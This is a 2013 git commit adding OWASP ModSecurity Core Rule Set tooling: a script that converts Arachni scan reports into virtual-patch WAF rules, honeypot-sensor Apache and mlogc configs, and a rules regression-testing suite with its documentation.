Fixed files overwriting in installer; added OWASP CRS.

This commit is contained in:
Greg Wroblewski
2013-02-05 16:36:29 -08:00
parent 635a573894
commit c1ba71ab16
134 changed files with 33445 additions and 0 deletions

View File

@@ -0,0 +1,39 @@
1) To query the repository to see what CRS versions are available -
$./rules-updater.pl -rhttps://www.modsecurity.org/autoupdate/repository/ -l
You should see output similar to this -
Could not load GnuPG module - cannot verify ruleset signatures
Repository: https://www.modsecurity.org/autoupdate/repository
modsecurity-crs {
2.0.0: modsecurity-crs_2.0.0.zip
2.0.1: modsecurity-crs_2.0.1.zip
2.0.2: modsecurity-crs_2.0.2.zip
2.0.3: modsecurity-crs_2.0.3.zip
2.0.4: modsecurity-crs_2.0.4.zip
2.0.5: modsecurity-crs_2.0.5.zip
2.0.6: modsecurity-crs_2.0.6.zip
}
2) To download the latest CRS version. First you should create a local CRS directory to
place the dowloaded archive into. In my example, I created a local dir called "crs" and
then used this command -
$ ./rules-updater.pl -rhttp://www.modsecurity.org/autoupdate/repository/ -pcrs -
Smodsecurity-crs
You should see output similar to this -
Could not load GnuPG module - cannot verify ruleset signatures
Fetching: modsecurity-crs/modsecurity-crs_2.0.6.zip ...
Then check the downloaded files -
$ ls -l crs/modsecurity-crs/*
-rw-r--r-- 1 rbarnett rbarnett 166590 2010-03-10 14:13 crs/modsecurity-crs/modsecurity-
crs_2.0.6.zip
-rw-r--r-- 1 rbarnett rbarnett 490 2010-03-10 14:13 crs/modsecurity-crs/modsecurity-
crs_2.0.6.zip.sig

View File

@@ -0,0 +1,318 @@
#!/opt/local/bin/perl -T
#############################################
# -=[ Virtual Patching Converter Script ]=- #
# Converts arachni XML Ouput #
# https://github.com/Zapotek/arachni #
# #
# arachni2modsec.pl #
# Version: 1.0 #
# #
# Copyright 2011 #
# Trustwave's SpiderLabs Research Team #
# www.trustwave.com #
# #
# Based On Code Originally Created by: #
# The Denim Group #
# www.denimgroup.com #
#############################################
use XML::Smart;
use Switch;
use Data::Types qw(:all);
use Data::Validate::URI qw(is_uri);
use Getopt::Std;
use Acme::Comment type=>'C++', one_line=>1; #Block commenting, can be removed later
#############
# Variables #
#############
# [Configuration Vars]
my %param;
getopt("f",\%param);
$filename = $param{f};
my $all_vulnerabilities_filename = "$filename";
unless ($filename) {
print "Flag:\n\n\t -f:\t path to arachni xml report file\nUsage:\n\n\t./arachni2modsec.pl -f ./arachni_report.xml\n\n";
exit;
}
my $modsec_rules_file = "./modsecurity_crs_48_virtual_patches.conf";
# [End Config Vars]
my $VULN_CLASS_XSS = "Cross-Site Scripting (XSS)";
my $VULN_CLASS_SQLI = "SQL Injection";
my $VULN_CLASS_BLIND_SQLI = "Blind SQL Injection";
my $VULN_CLASS_LFI = "Path Traversal";
my $VULN_CLASS_RFI = "Remote file inclusion";
my $VULN_CLASS_HTTPRS = "Response splitting";
# Only the vulnerabilities in this array will have
# rules generated for them.
my @supported_vulns = ($VULN_CLASS_XSS, $VULN_CLASS_SQLI, $VULN_CLASS_BLIND_SQLI, $VULN_CLASS_LFI, $VULN_CLASS_RFI, $VULN_CLASS_HTTPRS);
my $num_rules_generated=0;
my $num_not_supported=0;
my $num_bad_urls=0;
my $wait_for_keypress=1;
my $request_failed=0;
my $all_vulns_xml;
my @type;
my @id;
my $vuln_count;
my $num_attacks_flag=0;
my $num_attacks_noflag=0;
# End Vars ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#############
# Main #
#############
# Clean up env so perl doesn't complain
# when trying to run the restart snort
# script.
delete @ENV{qw(IFS CDPATH ENV BASH_ENV PATH)};
$all_vulns_xml = XML::Smart->new($all_vulnerabilities_filename);
@type = $all_vulns_xml->{arachni_report}{issues}{issue}('[@]','name');
@url = $all_vulns_xml->{arachni_report}{issues}{issue}('[@]','url');
@param = $all_vulns_xml->{arachni_report}{issues}{issue}('[@]','variable');
open(my $MODSEC_RULES, '>' , $modsec_rules_file) || die "Unable to open modsecurity rules file $modsec_rules_file";
$MODSEC_RULES->autoflush(1);
$vuln_count = 0;
foreach my $current_type (@type){
print "==================================================================================================\n";
print "Vulnerability[$vuln_count] - Type: $current_type\n";
if(exists {map { $_ => 1 } @supported_vulns}->{$current_type}){
parseData(to_string($current_type));
}else {
print "Vulnerability Type: $type is not supported in this version.\n";
$num_not_supported++;
}
$vuln_count++;
}
close($MODSEC_RULES);
print "==================================================================================================\n";
print "\n\n************ END OF SCRIPT RESULTS *****************\n";
print "Number of Vulnerabilities Processed: $vuln_count\n";
print "Number of ModSecurity rules generated: $num_rules_generated\n";
print "Number of Unsupported vulns skipped: $num_not_supported\n";
print "Number of bad URLs (rules not gen): $num_bad_urls\n";
print "****************************************************\n\n";
print "----------------------------------------------------\n";
print "To activate the virtual patching file ($modsec_rules_file),\n";
print "copy it into the CRS \"base_rules\" directory and then create\n";
print "a symlink to it in the \"activated_rules\" directory.\n";
print "-----------------------------------------------------\n\n";
###############
# Subroutines #
###############
sub parseData
{
my($vuln_str) = @_;
my $vuln_detail_filename;
my $current_vuln_xml;
my $current_vuln_url;
my $current_vuln_param;
my $current_uricontent;
my @current_params;
my $id = $vuln_count;
print "Found a $vuln_str vulnerability.\n";
$current_vuln_xml = XML::Smart->new($all_vulnerabilities_filename);
$current_vuln_url = $url[$vuln_count];
print URL_LIST "$current_vuln_url\n";
# Validate url (need seperate sub?)
print "Validating URL: $current_vuln_url\n";
if(is_uri(to_string($current_vuln_url))){
print "URL is well-formed\n";
print "Continuing Rule Generation\n";
} else {
print "URL is NOT well-formed. Breaking Out of Rule Generation\n";
$num_bad_urls++;
# Waits for keypress in test mode so you can
# see why the URL failed validation.
if($test_mode){
wait_for_keypress();
}
return;
}
$current_uricontent = get_uricontent($current_vuln_url);
# Only need param if XSS attack,SQLINJ,XPATH
# and maybe for HTTPRS, DT.
# NOT for PRL and DI
if(($vuln_str ne $VULN_CLASS_PRL) && ($vuln_str ne $VULN_CLASS_DI)){
@current_params = $param[$vuln_count];
}
if(($vuln_str ne $VULN_CLASS_PRL) && ($vuln_str ne $VULN_CLASS_DI)){
print "Current vulnerable Param(s): @current_params\n";
}
generate_patch($vuln_str,$current_uricontent,@current_params);
}
sub generate_patch
{
my($type,$uricontent,@params,$current_vuln_xml) = @_;
my $rule = "";
$id = "1".$vuln_count;
switch($type)
{
case ($VULN_CLASS_XSS)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
# Check to see if each vulnerable parameter is valid
# then generate a rule using both uricontent and the
# parameter
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/XSS.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_XSS (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_SQLI)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/SQL_INJECTION.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_SQLI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_BLIND_SQLI)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/SQL_INJECTION.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_SQLI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_LFI)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/LFI',tag:'WASCTC/WASC-33',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/LFI.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_LFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_RFI)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/RFI',tag:'WASCTC/WASC-05',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/RFI.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_LFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_HTTPRS)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/RESPONSE_SPLITTING',tag:'WASCTC/WASC-25',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/RESPONSE_SPLITTING.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_RFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
}
}
sub get_uricontent
{
my($url) = @_;
my $regex = "http:\/\/+[a-zA-Z0-9.:-]*\/";
# First, trim the first part out of the URL:
# http://.../
$url =~ /$regex/;
substr($url,index($url,$&),length($&)) = "";
# If the URL contains a php or cgi query with
# one or more params and values, trim those out.
# Trim from the question mark to the end.
if($url =~ /\?/){
substr($url,index($url,"?")) = "";
}
return $url;
}

View File

@@ -0,0 +1,14 @@
The purpose of these files is to turn your current ModSecurity host into
a pseudo-honeypot sensor by doing the following:
1. Instructs Apache to listen for traffic on multiple unused ports
- 8000
- 8080
- 8888
2. Creates Apache virtual host containers to bind to these ports.
3. If any traffic is received on these ports, then ModSecurity will
inspect the traffic by inheriting any rules specified in the main
Apache configuration.
4. ModSecurity's Audit Engine will use the mlogc program to forward
the audit log entry onto the ModSecurity Project's central logging
server.

View File

@@ -0,0 +1,98 @@
##########################################################################
# Required configuration
# At a minimum, the items in this section will need to be adjusted to
# fit your environment. The remaining options are optional.
##########################################################################
# Points to the root of the installation. All relative
# paths will be resolved with the help of this path.
CollectorRoot "/var/log/mlogc"
# ModSecurity Console receiving URI. You can change the host
# and the port parts but leave everything else as is.
ConsoleURI "http://204.13.200.239/rpc/auditLogReceiver"
# Sensor credentials
SensorUsername "honeypot-sensor"
SensorPassword "test1234"
# Base directory where the audit logs are stored. This can be specified
# as a path relative to the CollectorRoot, or a full path.
LogStorageDir "data"
# Transaction log will contain the information on all log collector
# activities that happen between checkpoints. The transaction log
# is used to recover data in case of a crash (or if Apache kills
# the process).
TransactionLog "mlogc-transaction.log"
# The file where the pending audit log entry data is kept. This file
# is updated on every checkpoint.
QueuePath "mlogc-queue.log"
# The location of the error log.
ErrorLog "mlogc-error.log"
# The location of the lock file.
LockFile "mlogc.lck"
# Keep audit log entries after sending? (0=false 1=true)
# NOTE: This is required to be set in SecAuditLog mlogc config if you
# are going to use a secondary console via SecAuditLog2.
KeepEntries 0
##########################################################################
# Optional configuration
##########################################################################
# The error log level controls how much detail there
# will be in the error log. The levels are as follows:
# 0 - NONE
# 1 - ERROR
# 2 - WARNING
# 3 - NOTICE
# 4 - DEBUG
# 5 - DEBUG2
#
ErrorLogLevel 3
# How many concurrent connections to the server
# are we allowed to open at the same time? Log collector uses
# multiple connections in order to speed up audit log transfer.
# This is especially needed when the communication takes place
# over a slow link (e.g. not over a LAN).
MaxConnections 10
# How many requests a worker will process before recycling itself.
# This is to help prevent problems due to any memory leaks that may
# exists. If this is set to 0, then no maximum is imposed. The default
# is 1000 requests per worker (the number of workers is controlled by the
# MaxConnections limit).
MaxWorkerRequests 1000
# The time each connection will sit idle before being reused,
# in milliseconds. Increase if you don't want ModSecurity Console
# to be hit with too many log collector requests.
TransactionDelay 50
# The time to wait before initialization on startup in milliseconds.
# Increase if mlogc is starting faster then termination when the
# sensor is reloaded.
StartupDelay 5000
# How often is the pending audit log entry data going to be written
# to a file. The default is 15 seconds.
CheckpointInterval 15
# If the server fails all threads will back down until the
# problem is sorted. The management thread will periodically
# launch a thread to test the server. The default is to test
# once in 60 seconds.
ServerErrorTimeout 60
# The following two parameters are not used yet, but
# reserved for future expansion.
# KeepAlive 150
# KeepAliveTimeout 300

View File

@@ -0,0 +1,31 @@
#
# Add in honeypot ports.
# - These are common proxy ports used by attackers
# - All traffic accepted on these ports are suspicious.
#
Listen 8000
Listen 8080
Listen 8888
#
# Create basic virtual host containers that will forward all traffic received
# to the official ModSecurity Project honeypot logging host.
#
# - You should adjust the Document root location to an empty directory on your server
# - Also adjust the path to your local ModSecurity mlogc program and for the
# mlogc-honeypot-sensor.conf file.
# - Make sure you main SecAuditLogType is set to concurrent mode.
#
<VirtualHost *:8000 *:8080 *:8888>
ServerName www.example1.com
DocumentRoot "/usr/local/apache/honeypot-htdocs"
<Directory "/usr/local/apache/honeypot-htdocs">
Options none
AllowOverride None
Order allow,deny
Allow from all
</Directory>
SecAuditEngine On
SecAuditLog "|/usr/local/apache/bin/mlogc /usr/local/apache/conf/mlogc-honeypot-sensor.conf"
</VirtualHost>

View File

@@ -0,0 +1,21 @@
INSTALLATION STEPS:
1) Edit the rulestest.pl script to define local path to perl
2) Edit the ruletest.conf script to define the proper global settings for:
- servers to test
- path to the modsecurity audit log
3) Copy the testserver.cgi script to the /cgi-bin directory if you wish to
test the outbound/response rules.
4) Edit the modsecurity_crs_10_config.conf file and update/enable the
Regression Testing variable settings.
5) Copy/Symlink the modsecurity_crs_59_header_tagging.conf file to the
activated_rules directory
6) Restart Apache
7) Run the rulestest.pl script using the rules files in the local /tests
directory.

View File

@@ -0,0 +1,105 @@
ModSecurity Rules regression testing suite
==========================================
Rules regression test tool installation:
----------------------------------------
Test should be run from the same host ModSecurity runs on, or a computer that
has file system access to ModSecurity audit log (see %modseclog in step 5)
1. Copy rulesregtest.pl, rulesregtest.conf and test files to a directory on the
server.
2. Put testserver.cgi in the server's /cgi-bin directory (required only if
outbound tests are used)
3. Set ModSecurity to use serial logging.
4. Ensure that the web server response with 200 to access the home page (since
default tests use "/" as the URL)
5. Edit rulesregtest.conf:
- Server address and port (%server directive). The default (127.0.0.1:80) may
be OK.
- Location of ModSecurity audit log file (%modseclog directive).
Writing tests:
--------------
Write a text file with the following directives:
%test <name> - starts a test and set is name (used for report)
%status <number> - sets the expected status code
%event <string> - set a string to search in the audit log of the test. You can
use multiple directives to define many required patterns. For example:
%event [id "960009"]
%output <string> - set a string to search in the HTTP response. You can use
multiple directives to define many required patterns.
%request <20> multiple lines of the request on the following lines, terminated by
the next directive (a line starting with "%"). A request can include variables
using perl notation ($var). this would be replaced when testing with a value
set by the %var directive.
- Note: Do not forget to leave an empty line as required by HTTP. The script
locks otherwise.
- Note: Content-Length has to be calculated manually.
Finding bugs
------------
The following directives will help to find the problems:
%verbose <20> will output request, reply and new ModSecurity audit log lines for
the current test.
%relevant <20> will output verbose output for tests that failed.
Variable replacement:
---------------------
%var variable=value, value, value<75>.. - Set values for a variable, the test
would be repeated using every value. Values are set only for the current test.
Multiple %var directives for the same variable add values to the list and do
not replace values, so:
%var variable=value1
%var variable=value2
Would test with both value1 and value2.
If multiple variables are used in the same test, than the test is carried for
each combination of values of the variables:
%var var1=v1, v2
%var var3=v3, v4
The test would be repeated 4 times with the test vectors (v1, v3), (v1, v4),
(v2, v3), (v2, v4).
Testing responses:
------------------
To force response content in request, use /cgi-bin/testserver.cgi as the target
URL and add one or more of the following headers to the reuqest:
Response-Status - Force a response status line. Defaults to "200 OK".
Response-Content - Adds the string to the response. Note that this would not be
the entire response.
Response-Content-Type - sets the value of the content type header, defaults to
"text/html"
Response-Header-Name - Add a header to the response. This defined the new
header's name. Response-Header-Value defines the header's value.
Response-Header-Value - The value of the new header defined by the request
header Response-Header-Name. Note: If Response-Header-Name is empty, then this
parameter will be ignored.
** NOT IMPLEMENTED YET **
Response-File - the name of a file to use as the entire response. Name is
reletive to the $RESPONSE_FILE_DIR in the testserver.cgi sctip.
** NOT IMPLEMENTED YET **

View File

@@ -0,0 +1,38 @@
#
# This section is only used during regression testing to externalize the matched
# rule IDs in response headers so the testing client can verify matches from
# remote ModSecurity installs.
#
# WARNING: You do not want this in normal operations as this will expose
# the inner workings of your ModSecurity configurations.
#
# Must enable/configure the TX:REGRESSION_TESTING variable in the
# modsecurity_crs_10_config.conf file.
#
SecRule &TX:REGRESSION_TESTING|TX:REGRESSION_TESTING "@eq 0" "phase:4,t:none,nolog,id:'981228',pass,skipAfter:END_RESPONSE_HEADER_TAGGING"
SecRule TX:ANOMALY_SCORE "@eq 0" "phase:4,id:'981229',t:none,nolog,pass,skipAfter:END_RESPONSE_HEADER_TAGGING"
SecRule TX:/^\d*\-/ "." "phase:4,id:'981230',t:none,nolog,pass,setvar:tx.counter=+1,setenv:matched_rule-%{tx.counter}=%{matched_var_name},setenv:anomaly_score=%{tx.anomaly_score},setenv:sql_injection_score=%{tx.sql_injection_score},setenv:xss_score=%{tx.xss_score}"
Header append X-WAF-Events "%{matched_rule-1}e" env=matched_rule-1
Header append X-WAF-Events "%{matched_rule-2}e" env=matched_rule-2
Header append X-WAF-Events "%{matched_rule-3}e" env=matched_rule-3
Header append X-WAF-Events "%{matched_rule-4}e" env=matched_rule-4
Header append X-WAF-Events "%{matched_rule-5}e" env=matched_rule-5
Header append X-WAF-Events "%{matched_rule-6}e" env=matched_rule-6
Header append X-WAF-Events "%{matched_rule-7}e" env=matched_rule-7
Header append X-WAF-Events "%{matched_rule-8}e" env=matched_rule-8
Header append X-WAF-Events "%{matched_rule-9}e" env=matched_rule-9
Header append X-WAF-Events "%{matched_rule-10}e" env=matched_rule-10
Header append X-WAF-Events "%{matched_rule-11}e" env=matched_rule-11
Header append X-WAF-Events "%{matched_rule-12}e" env=matched_rule-12
Header append X-WAF-Events "%{matched_rule-13}e" env=matched_rule-13
Header append X-WAF-Events "%{matched_rule-14}e" env=matched_rule-14
Header append X-WAF-Events "%{matched_rule-15}e" env=matched_rule-15
Header append X-WAF-Events "%{matched_rule-16}e" env=matched_rule-16
Header append X-WAF-Events "%{matched_rule-17}e" env=matched_rule-17
Header append X-WAF-Events "%{matched_rule-18}e" env=matched_rule-18
Header append X-WAF-Events "%{matched_rule-19}e" env=matched_rule-19
Header append X-WAF-Events "%{matched_rule-20}e" env=matched_rule-20
Header set X-WAF-Score "Total=%{anomaly_score}e; sqli=%{sql_injection_score}e; xss=%{xss_score}e" env=anomaly_score
SecMarker END_RESPONSE_HEADER_TAGGING

View File

@@ -0,0 +1,20 @@
# Set to the address and port of the web server protected by the tested ruleset.
#
# TODO the web server has to respond with status code 200 to request for the
# home page (/). This is usually the default configuration.
#
# TODO the script 'testserver' should be installed on this web server in the
# /cgi-bin directory to facilitate outbound rules testing.
#
#%global server 127.0.0.1:80
# Set to the path to ModSecurity audit file
#
# TODO set ModSecurity for serial logging.
#
#%global mslog /usr/local/apache/logs/audit.log
#%msdebug /usr/local/apache/logs/debug.log
#
# Set this to the appropriate web site domain name you are testing
#
%global var hostname=mysite

View File

@@ -0,0 +1,936 @@
#!/opt/local/bin/perl
#
# Copyright (C) 2006-2011 Trustwave All rights reserved.
#
# The OWASP ModSecurity Core Rule Set is distributed under
# Apache Software License (ASL) version 2
# Please see the enclosed LICENCE file for full details.#
# For Internal Use only!
#
# Originally writtern by Ofer Shezaf
#
# !! todo:
# !! ~ request for URI command in conf file
# !! ~ Ensure headers terminators
# !! read rulesets config file for event mane, policy and patterns
# !! fuz patterns from config file
# !! %include directive
use strict;
#use warnings;
#use diagnostics;
use IO::File;
use IO::Socket;
use IO::Select;
use HTTP::Request;
use HTTP::Response;
use Safe;
use Storable qw(dclone);
use Getopt::Long;
use Pod::Usage;
# -- Add library
use FindBin qw($Bin $Script);
use lib "$Bin";
use Data::Dumper;
autoflush STDOUT;
# -- consts
our $SKELETON_REQUEST = <<END_SKEL
GET \$URI HTTP/1.0
Host: local
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
END_SKEL
;
# -- get options
my $global_state = { 'timeout' => '2', 'fuzz' => 1, 'vars' => {}, 'port' => 80 };
$global_state->{'global'} = $global_state;
GetOptions
(
$global_state,
'server|s:s',
'hostname:s',
'port|p:s',
'timeout|t:f',
'mslog:s',
'msdebug:s',
'o:s',
'i=s@',
'run:s@',
'from:s',
'relevant|r!',
'fuzz|f!',
'clean!',
'check!',
'verbose|v!',
'help|h|?',
'man'
) || pod2usage (-exitstatus => 0, -verbose => 0);
pod2usage(-exitstatus => 1, -verbose => 1) if $global_state->{'help'};
pod2usage(-exitstatus => 1, -verbose => 2) if $global_state->{'man'};
push @{$global_state->{'input'}}, @ARGV;
pod2usage (2) if $#{$global_state->{'input'}} < 0;
# -- get list of test files
my $testfiles = [];
my ($progname) = ($Script =~ /(.*)\..*$/);
if (-e "$progname.conf") {
push @$testfiles, "$progname.conf";
}
foreach my $arg (@{$global_state->{'input'}}) {
push @$testfiles, glob $arg;
}
foreach my $file (@$testfiles) {
if (!-e $file) {
print STDERR "Error 101: test file $file not found\n";
exit;
}
}
my ($outfile, $outfilename);
if ($global_state->{'output'}) {
$outfile = new IO::File ">$global_state->{'output'}";
if (!$outfile) {
print STDERR "Error 106: unable to create report file $global_state->{'output'}. $@\n";
exit;
}
$outfilename = $global_state->{'output'};
}
else {
$outfile = *STDOUT;
$outfilename = 'STDOUT';
}
report_header($outfile, $outfilename);
foreach my $filename (@$testfiles) {
parse_test_file ($outfile, $filename, $global_state);
}
exit (0);
# -- read an input file and execute tests in it
sub parse_test_file
{
my ($outfile, $filename, $parent_state) = @_;
my $file_state = inherit_state ($parent_state);
report_file_header($outfile, $filename);
my $linenumber = 0;
my $testfile = new IO::File "<$filename";
if (!$testfile) {
print STDERR "Error 105: unable to open tests file $filename. $@\n";
print $outfile "unable to open file";
return;
}
my $state = $file_state;
while (defined(my $line=<$testfile>)) {
$linenumber++;
$line = tchomp ($line);
$state = parse_test_line ($line, $state, $testfile);
if (!ref $state) {
print STDERR "$state in file $filename at line $linenumber\n";
print STDERR "line: $line\n" if $parent_state->{'check'};
return;
}
while (my $test = shift @{$file_state->{'tests'}}) {
run_test ($outfile, $test, $filename);
}
}
run_test ($outfile, $state, $filename) if $state->{'name'};
}
# -- parse the next input line
sub parse_test_line
{
my ($line, $state, $file) = @_;
# -- Handle EOF
return $state unless defined $line;
# -- Hande multi line remarks
if ($state->{'multi_line_cmd'} eq "remark") {
undef $state->{'multi_line_cmd'} if ($line =~ /^\%endremark/i);
return $state;
}
# -- Handle multi line directives
if (my $incmd = $state->{'multi_line_cmd'}) {
# -- Request parser
if ($incmd =~ /^request$/i) {
if (my ($len) = $line =~ /^Content-Length: (\d+)$/) {
$state->{'request_len'} = $len;
} elsif ($state->{'request_state'} eq 'headers' && $line =~ /^$/) {
$state->{'request_state'} = 'body';
$state->{'multi_line_value'} .= "$line\x0D\x0A";
if (defined $state->{'request_len'}) {
my $result = read $file, my $buffer, $state->{'request_len'};
return "Error 110: Error reading file" if !defined $result;
return "Error 111: File terminated unexpectedly (read $result char of required $state->{'request_len'})" if $result != $state->{'request_len'};
#print "==>$state->{'multi_line_value'}<==\n$buffer\n----\n";
$state->{'multi_line_value'} .= $buffer;
return $state;
undef $state->{'request_len'};
}
}
}
# X-Real-Content-Length:
# -- Append to value if not yet next directive
if ($line !~ /^\%/) {
$state->{'multi_line_value'} .= "$line\x0D\x0A";
return $state;
}
# -- Otherwise use directive
$state = use_test_directive ($state, $incmd, $state->{'multi_line_value'}, $state->{'multi_line_global'});
return $state if (!ref $state);
undef $state->{'multi_line_cmd'};
undef $state->{'multi_line_value'};
undef $state->{'request_len'};
}
# -- Handle empty lines and single line remarks
return $state if $line =~ /^\s*(\#|$)/;
# -- Parse directive
my ($global);
$line =~ /^\%(\w+)\s*(.*)?$/;
my ($cmd, $operand) = ($1,$2);
if ($cmd =~ /^global$/i) {
$global = 1;
($cmd, $operand) = ($operand =~ /^\s*(\w+)\s*(.*)?$/);
}
if (!$operand) {
$operand = 1;
if ($cmd =~ /^no(.*)$/) {
$cmd = $1;
$operand = 0;
}
}
$cmd = lc $cmd;
# -- Start multi line directives
if ($cmd =~ /^(?:request|remark)$/i) {
$state->{'multi_line_cmd'} = $cmd;
$state->{'multi_line_global'} = $global;
return $state;
}
return use_test_directive ($state, $cmd, $operand, $global);
}
sub use_test_directive
{
my ($state, $cmd, $operand, $global) = @_;
# -- Simple directives
if ($cmd =~ /^(?:server|port|hostname|timeout|verbose|relevant|mslog|msdebug|request|uri|request|fuzz|clean|pause)$/i) {
if ($global) {
$state->{'global'}->{$cmd} = $operand;
}
$state->{$cmd} = $operand;
$state->{'request_state'} = 'headers';
}
# -- List directives
elsif ($cmd =~ /^(?:status|remote_event|event|audit|output)$/i) {
push_state ($state, $state->{'global'}, $cmd, $global, $operand);
}
# -- Variable assignment
elsif ($cmd =~ /^(?:var)$/i) {
my ($var, $values) = ($operand =~ /\s*(\w+)\s*=\s*?(.*)/);
my @values = split /\s*,\s*/, $values;
push_state ($state->{'vars'}, $state->{'global'}->{'vars'}, $var, $global, @values);
}
# -- End test (return to file context)
elsif ($cmd =~ /endtest/i) {
if ($state->{'name'}) {
push @{$state->{'parent'}->{'tests'}}, $state;
}
else {
return "Error 107: %endtest directive without a preceding %test directive";
}
$state = $state->{'parent'};
}
# -- New test (end test and start a new one)
elsif ($cmd =~ /test/i) {
if ($state->{'name'}) {
push @{$state->{'parent'}->{'tests'}}, $state;
$state = inherit_state ($state->{'parent'});
}
else {
$state = inherit_state ($state);
}
$state->{'name'} = $operand;
}
# -- error
else {
return "Error 102: syntax error";
}
return $state;
}
sub reconfigure
{
my ($state) = @_;
my ($restart) = 0;
if ($state->{'clean'}) {
unlink $state->{'mslog'} if $state->{'mslog'};
unlink $state->{'msdebug'} if $state->{'msdebug'};
$restart = 1;
global_clear ($state, 'clean');
}
if ($restart) {
print "## Restarting apache\n";
print STDERR `/usr/local/apache/bin/apachectl restart`;
sleep (1);
}
}
sub inherit_state
{
my ($state) = @_;
my $clone = dclone $state;
$clone->{'parent'} = $state;
$clone->{'global'} = $state->{'global'};
delete $clone->{'tests'};
return $clone;
}
# -- Add values to key in state taking into about both overriding and global
sub push_state
{
